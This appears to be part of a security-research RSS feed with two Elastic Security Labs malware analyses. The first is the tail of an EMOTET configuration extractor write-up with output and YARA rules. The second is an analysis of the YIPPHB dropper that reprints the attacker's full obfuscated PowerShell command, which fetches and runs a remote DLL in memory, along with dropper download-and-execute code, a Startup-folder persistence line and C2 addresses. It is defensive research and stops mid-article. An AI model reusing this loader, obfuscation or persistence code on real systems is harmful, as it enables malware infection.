<p>As we mentioned, we first find the function in the binary by using YARA. The signature is provided at the <a href="https://www.elastic.co/es/security-labs/emotet-dynamic-configuration-extraction#yara">end of this article</a>. It is worth pointing out that these yara signatures are used to identify locations in the binary but are, in their current form, not usable to identify EMOTET samples.</p>
<p>In order to automatically retrieve the data from multiple samples, we created a configuration extractor. In the snippets below, we will demonstrate, in a high level fashion, how we collect the configuration information from the malware samples.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image7.jpg" alt="Python code to find the start of a function" /></p>
<p>In the above code snippet:</p>
<ol>
<li>First load the YARA signature.</li>
<li>Try to find a match, and if a signature is found in the file.</li>
<li>Calculate the function offset based on the offset in the file.</li>
</ol>
<p>In order to locate the Xrefs to this function, we use the excellent <a href="https://github.com/danielplohmann/smda">SMDA decompiler</a>. After locating the Xrefs, we can start the emulation process using the CPU emulator, <a href="https://www.unicorn-engine.org/">Unicorn</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image8.jpg" alt="Python code used to emulate decoding functions" /></p>
<ol>
<li>Initialize the Unicorn emulator.</li>
<li>Load the executable code from the PE file into memory.</li>
<li>Disassemble the function to find the return and the end of the execution.</li>
<li>The binary will try to use the windows <a href="https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc">HeapAlloc API</a> to allocate space for the decoded data. Since we don't want to emulate any windows API's, as this would add unnecessary complexity, we hook to code so that we can allocate space ourselves.</li>
<li>After the emulation has run the 64-bit “long size” register (<a href="https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html#:~:text=rax%20is%20the%2064%2Dbit,processors%20with%20the%2080386%20CPU.">RAX</a>), it will contain a pointer to the key data in memory.</li>
<li>To present the key in a more readable way, we convert it to the standard PEM format.</li>
</ol>
<p>By emulating the parts of the binary that we are interested in, we no longer have to statically defeat the obfuscation in order to retrieve the hidden contents. This approach adds a level of complexity to the creation of config extractors. However, since malware authors are adding ever more obfuscation, there is a need for a generic approach to defeating these techniques.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image3.jpg" alt="Example of the extractor used to find key material" /></p>
<h2>C2 server list</h2>
<p>An important part of tracking malware families is to get new insights by identifying and discovering which C2 servers they use to operate their network.</p>
<p>In the 64-bit versions of EMOTET, we see that the IP and port information of the C2 servers are also dynamically calculated at runtime. Every C2 server is represented by a function that calculates and returns a value for the IP address and the port number.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image13.jpg" alt="Examples of encoded IP/port combination" /></p>
<p>These functions don’t have a direct cross reference available for searching. However, a procedure references all the C2 functions and creates the <strong>p_c2_list</strong> array of pointers.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image1.jpg" alt="C2 server list" /></p>
<p>After that, we can emulate every C2-server function individually to retrieve the IP and port combination as seen below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image9.jpg" alt="Example of the extractor used to find C2 server list" /></p>
<h2>Strings</h2>
<p>The same method is applied to the use of strings in memory. Every string has its own function. In the following example, the function would return a pointer to the string <strong>%s\regsvr32.exe &quot;%s&quot;</strong>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image15.jpg" alt="Encoded string" /></p>
<p>All of the EMOTET strings share a common function to decode or resolve the string at runtime. In the sample that we are analyzing here, the string resolver function is referenced 29 times.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image2.jpg" alt="String decoding algorithm" /></p>
<p>This allows us to follow the same approach as noted earlier in order to decode all of the EMOTET strings. We pinpoint the string decoding function using YARA, find the cross-references, and emulate the resulting functions.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image12.jpg" alt="Example of the extractor used to find strings" /></p>
<h2>Configuration extractor</h2>
<p>Automating the payload extraction from EMOTET is a crucial aspect of threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors, enabling practitioners to discover new unknown samples in a timely manner.</p>
<pre><code>% emotet-config-extractor --help
usage: Emotet Configuration Extractor [-h] (-f FILE | -d DIRECTORY) [-k] [-c] [-s] [-a]

options:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  Emotet sample path
  -d DIRECTORY, --directory DIRECTORY
                        Emotet samples folder
  -k                    Extract Encryption keys
  -c                    Extract C2 information
  -s                    Extract strings
  -a                    Extract strings (ascii)
</code></pre>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample and then can output parts of the configuration of note, specifically:</p>
<ul>
<li><strong>-k</strong> : extract the encryption keys</li>
<li><strong>-c</strong> : extract the C2 information</li>
<li><strong>-s</strong> : extract the wide-character strings</li>
<li><strong>-a</strong> : extract the ASCII character stings</li>
</ul>
<p>EMOTET uses a different routine for decoding wide and ASCII strings. That is why the extractor provides flags to extract them separately.</p>
<p>The C2 information displays a list of IP addresses found in the sample. It is worth noting that EMOTET downloads submodules to perform specific tasks. These submodules can contain their own list of C2 servers. The extractor is also able to process these submodules.</p>
<p>The submodules that we observed do not contain encryption keys. While processing submodules you can omit the <strong>-k</strong> flag.</p>
<pre><code>[...]
[+] Key type: ECK1
[+] Key length: 32
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW
NqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==
-----END PUBLIC KEY-----
[...]
[+] Key type: ECS1
[+] Key length: 32
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI
lAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==
-----END PUBLIC KEY-----
[...]
[+] Found 64 c2 subs
174.138.33.49:7080
188.165.79.151:443
196.44.98.190:8080
[...]
[+] Starting emulation
[+] String BLOB address: 0x4000000
KeyDataBlob
[...]
[+] String BLOB address: 0x4000000
bcrypt.dll
[...]
[+] String BLOB address: 0x4000000
RNG
</code></pre>
<p>To enable the community to further defend themselves against existing and new variants of EMOTET, we are making the payload extractor open source under the Apache 2 License. Access the <a href="https://www.elastic.co/es/security-labs/emotet-configuration-extractor">payload extractor documentation and binary download</a>.</p>
<h2>The future of EMOTET</h2>
<p>The EMOTET developers are implementing new techniques to hide their configurations from security researchers. These techniques will slow down initial analysis, however, EMOTET will eventually have to execute to achieve its purpose, and that means that we can collect information that we can use to uncover more about the campaign and infrastructure. Using code emulators, we can still find and extract the information from the binary without having to deal with any obfuscation techniques. EMOTET is a great example where multiple obfuscation techniques make static analysis harder. But of course, we expect more malware authors to follow the same example. That is why we expect to see more emulation-based configuration extract in the future.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image5.png" alt="EMOTET running and gathering system information" /></p>
<h2>Detection</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. The YARA rules shown here are not meant to be used to solely detect EMOTET binaries, they are created to support the configuration extractor. The YARA rules for detecting EMOTET can be found in the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Emotet.yar">protections-artifacts repository</a>.</p>
<h4>EMOTET key decryption function</h4>
<pre><code>rule resolve_keys
{
meta:
     author = &quot;Elastic Security&quot;
     description = &quot;EMOTET - find the key decoding algorithm in the PE&quot;
     creation_date = &quot;2022-08-02&quot;
     last_modified = &quot;2022-08-11&quot;
     os = &quot;Windows&quot;
     family = &quot;EMOTET&quot;
     threat_name = &quot;Windows.Trojan.EMOTET&quot;
     reference_sample = &quot;debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1&quot;
   strings:
       $chunk_1 = {
        45 33 C9
        4C 8B D0
        48 85 C0
        74 ??
        48 8D ?? ??
        4C 8B ??
        48 8B ??
        48 2B ??
        48 83 ?? ??
        48 C1 ?? ??
        48 3B ??
        49 0F 47 ??
        48 85 ??
        74 ??
        48 2B D8
        42 8B 04 03
     }
   condition:
       any of them
}
</code></pre>
<h4>EMOTET C2 aggregation</h4>
<pre><code>rule c2_list
{
     author = &quot;Elastic Security&quot;
     description = &quot;EMOTET - find the C2 collection in the PE&quot;
     creation_date = &quot;2022-08-02&quot;
     last_modified = &quot;2022-08-11&quot;
     os = &quot;Windows&quot;
     family = &quot;EMOTET&quot;
     threat_name = &quot;Windows.Trojan.EMOTET&quot;
     reference_sample = &quot;debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1&quot;
  strings:
     $chunk_1 = {
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
     }
  condition:
     any of them
}
</code></pre>
<h4>EMOTET string decoder</h4>
<pre><code>rule string_decode
{
   meta:
     author = &quot;Elastic Security&quot;
     description = &quot;EMOTET - find the string decoding algorithm in the PE&quot;
     creation_date = &quot;2022-08-02&quot;
     last_modified = &quot;2022-08-11&quot;
     os = &quot;Windows&quot;
     family = &quot;EMOTET&quot;
     threat_name = &quot;Windows.Trojan.EMOTET&quot;
     reference_sample = &quot;debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1&quot;
  strings:
     $chunk_1 = {
        8B 0B
        49 FF C3
        48 8D 5B ??
        33 CD
        0F B6 C1
        66 41 89 00
        0F B7 C1
        C1 E9 10
        66 C1 E8 08
        4D 8D 40 ??
        66 41 89 40 ??
        0F B6 C1
        66 C1 E9 08
        66 41 89 40 ??
        66 41 89 48 ??
        4D 3B D9
        72 ??
     }
     $chunk_2 = {
        8B 0B
        49 FF C3
        48 8D 5B ??
        33 CD
        0F B6 C1
        66 41 89 00
        0F B7 C1
        C1 E9 ??
        66 C1 E8 ??
        4D 8D 40 ??
        66 41 89 40 ??
        0F B6 C1
        66 C1 E9 ??
        66 41 89 40 ??
        66 41 89 48 ??
        4D 3B D9
        72 ??
     }
  condition:
     any of them
}
</code></pre>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/lock-code-combination-configuration.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Doing time with the YIPPHB dropper]]></title>
            <link>https://www.elastic.co/es/security-labs/doing-time-with-the-yipphb-dropper</link>
            <guid>doing-time-with-the-yipphb-dropper</guid>
            <pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs outlines the steps collect and analyze the various stages of the REF4526 intrusion set. This intrusion set uses a creative approach of Unicode icons in Powershell scripts to install a loader, a dropper, and RAT implants.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.</li>
<li>YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.</li>
<li>The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.</li>
</ul>
<h2>Preamble</h2>
<p>While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.</p>
<p>Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.</p>
<p>This research focused on the following:</p>
<ul>
<li>Loader phase</li>
<li>Dropper phase</li>
<li>RAT phase</li>
<li>Activity clusters</li>
<li>Network infrastructure</li>
<li>Hunting queries</li>
</ul>
<h2>Analysis</h2>
<p>The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image3.png" alt="Execution flow for the REF4526 intrusion set" /></p>
<h3>Loader phase</h3>
<p>While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
</code></pre>
<p>While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.</p>
<p>Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a <strong>U</strong>. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<p>By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image5.png" alt="Decoding the Unicode Base64 Powershell string" /></p>
<p>Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The loader is downloaded from <code>https://tinyurl[.]com/2erph6cs</code>. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.</p>
<p>To unfurl the TinyURL, we can use the JSON API endpoint from <a href="https://unshorten.me/">Unshorten.me</a>:</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/2erph6cs&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt&quot;,
    &quot;usage_count&quot;: 3,
    &quot;remaining_calls&quot;: 8
}
</code></pre>
<p>Downloading <strong>dllsica.txt</strong> from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from <strong>dllsica.txt</strong> can easily be decoded without substitutions.</p>
<p>Using the <strong>cat</strong> , <strong>base64</strong> , <strong>xxd</strong> , and <strong>head</strong> command line tools, we can see that this has a hexadecimal value of <strong>4d5a</strong> and an MZ magic number in the file header. This confirms we’re analyzing a PE file.</p>
<ul>
<li><strong>cat</strong> - catenates a file</li>
<li><strong>base64 -D</strong> - the <strong>-D</strong> switch decodes a base64 encoded file</li>
<li><strong>xxd</strong> - creates a hexadecimal dump of an input</li>
<li><strong>head</strong> - returns the first 10 lines of a file</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...
</code></pre>
<p>Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.</p>
<ul>
<li><strong>file</strong> - verify the file type</li>
<li><strong>shasum -a 256</strong> - the -a 256 switch uses the 256-bit hashing algorithm</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D &gt; dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
</code></pre>
<p>Now that the loader has been collected, it executes the method <strong>PUlGKA</strong> inside of the class <strong>NwgoxM.KPJaN</strong>. From the original Base64 decoded string</p>
<pre><code>…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image7.png" alt="The loader’s execution" /></p>
<p>We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.</p>
<pre><code>FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + &quot;\\&quot; + NameCopy + &quot;.vbs&quot;);
</code></pre>
<h3>Dropper phase</h3>
<p>From the loader's execution image above, we can see that the loader uses a reversed variable (<strong>text = bdw6ufv4/moc[.]lruynit//:sptth</strong>) to download an additional file using a TinyURL. Using the command line tool, <strong>rev</strong> , we can correct the reversed URL.</p>
<pre><code>$ echo &quot;bdw6ufv4/moc.lruynit//:sptth&quot; | rev

https://tinyurl[.]com/4vfu6wd
</code></pre>
<p>We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/4vfu6wd&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt&quot;,
    &quot;usage_count&quot;: 2,
    &quot;remaining_calls&quot;: 9
}
</code></pre>
<p>Another encoded file is downloaded from Discord: <strong>pesica.txt</strong>. As of this writing, VirusTotal reports zero detections of this file.</p>
<p>With clues from <strong>dllsica.bin</strong> , we can see that <strong>pesica.txt</strong> uses UTF-8 encoding. To further analyze our file, we need to replace the <strong>▒▒▒▒</strong> values with an <strong>A</strong> , and Base64 decode the resulting strings.</p>
<pre><code>…truncated…
string text = &quot;bdw6ufv4/moc[.]lruynit//:sptth&quot;;
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace(&quot;▒▒▒▒&quot;, &quot;A&quot;);
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + &quot;\\InstallUtil.exe&quot;,
	Convert.FromBase64String(text3)
	});
…truncated…
</code></pre>
<p>We can stack recipes to perform these functions with CyberChef.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image2.png" alt="Using CyberChef to decode pesica.txt" /></p>
<p>Once we’ve decoded <strong>pesica.txt</strong> , we calculate the hash <strong>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</strong>. The decoded output of <strong>pesica.txt</strong> shows the <strong>YippHB</strong> module name.</p>
<pre><code>...truncated...
ToInt16
&lt;Module&gt;
YippHB
ResumeThread_API
...truncated...
</code></pre>
<p>This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher <a href="https://twitter.com/pmelson">Paul Melson</a>. Paul <a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">publicly disclosed</a> this dropper in October of 2022 at the Augusta BSides security conference.</p>
<p>The YIPPHB dropper is executed using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool">Installutil.exe</a> command-line utility to start the RAT phase.</p>
<blockquote>
<p>We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.</p>
</blockquote>
<h3>RAT phase</h3>
<p>Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.</p>
<pre><code>…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The RAT was retrieved from <code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code>, which is reversed from <strong>txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth</strong>.</p>
<p>Looking at the file <strong>10oct8000.txt</strong> file, we can see that it is a reversed, Base64-encoded file.</p>
<pre><code>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
</code></pre>
<p>We can correct this file and Base64 decode it using the command-line tools <strong>rev</strong> and <strong>base64</strong> and save the output as <strong>10oct8000.bin</strong>.</p>
<pre><code>$ cat 10oct8000.txt | rev | base64 -D &gt; 10oct8000.bin
</code></pre>
<p><strong>10oct8000.bin</strong> has a SHA256 hash of <strong>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</strong>. This file is reported on VirusTotal as a variant of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">LIMERAT</a> or <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">NJRAT</a> malware families (depending on the source).</p>
<p>Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (<a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">1</a>, <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">2</a>).</p>
<p>The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image8.png" alt="NJRAT C2 configuration variables" /></p>
<p>For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( <strong>TllBTiBDQVQ=</strong> ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with <a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">a known NJRAT code base</a>, this C2 configuration information adds to our conviction that this is related to NJRAT.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image4.jpg" alt="NJRAT code from Github" /></p>
<p>If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:</p>
<ul>
<li>victimName ( <strong>vn</strong> )</li>
<li>Hardware ID</li>
<li>Username</li>
<li>OSFullName</li>
<li>OSVersion Servicepack</li>
<li>if the Program Files folder ends in <strong>X86</strong> or not</li>
<li>if a webcam is present</li>
<li>the window name</li>
<li>a permission check on the registry</li>
</ul>
<p>If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, <a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">here</a> and <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">here</a></p>
<h3>Activity clusters</h3>
<p>We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<p>This query allowed us to identify Powershell activity that uses both Unicode characters and the <strong>replace</strong> function.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image6.png" alt="Timeline of REF4526 events" /></p>
<p>Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable <strong>iUqm</strong> and the ⌚⌚⌚Unicode icons.</p>
<table>
<thead>
<tr>
<th>Cluster ID</th>
<th>Variable</th>
<th>Unicode icon + number</th>
<th>Percentage of prevalence (rounded)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ngfYq</td>
<td>❞ (U+275E)</td>
<td>1%</td>
</tr>
<tr>
<td>2</td>
<td>Codigo</td>
<td>❤ (U+2764)</td>
<td>1%</td>
</tr>
<tr>
<td>3</td>
<td>iUqm</td>
<td>⌚ (U+231A)</td>
<td>9%</td>
</tr>
<tr>
<td>4</td>
<td>iUqm</td>
<td>⚔ (U+2694)</td>
<td>6%</td>
</tr>
<tr>
<td>5</td>
<td>Codigo</td>
<td>⁂ (U+2042)</td>
<td>62%</td>
</tr>
<tr>
<td>6</td>
<td>iUqm</td>
<td>✌ (U+270C)</td>
<td>1%</td>
</tr>
<tr>
<td>7</td>
<td>Codigo</td>
<td>⏏ (U+23CF)</td>
<td>1%</td>
</tr>
<tr>
<td>8</td>
<td>Cg1O</td>
<td>☈ (U+2608)</td>
<td>5%</td>
</tr>
<tr>
<td>9</td>
<td>Codigo</td>
<td>♔ (U+2654)</td>
<td>10%</td>
</tr>
<tr>
<td>10</td>
<td>iUqm</td>
<td>ﭏ (U+FB4F)</td>
<td>1%</td>
</tr>
<tr>
<td>11</td>
<td>Codigo</td>
<td>_*/}+/_=</td>
<td>1%</td>
</tr>
<tr>
<td>12</td>
<td>iUqm</td>
<td>☈ (U+2608)</td>
<td>2%</td>
</tr>
</tbody>
</table>
<p>Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( <strong>_*/}+/_=</strong> ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.</p>
<h3>Collecting and parsing network data</h3>
<p>To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the <strong>process.command_line</strong> fields and the follow-on C2 used by the RAT implants.</p>
<h4>Loader and Dropper</h4>
<p>As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.</p>
<p>To avoid execution of the Powershell command itself, we can leverage the text processing tool <strong>awk</strong>. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.</p>
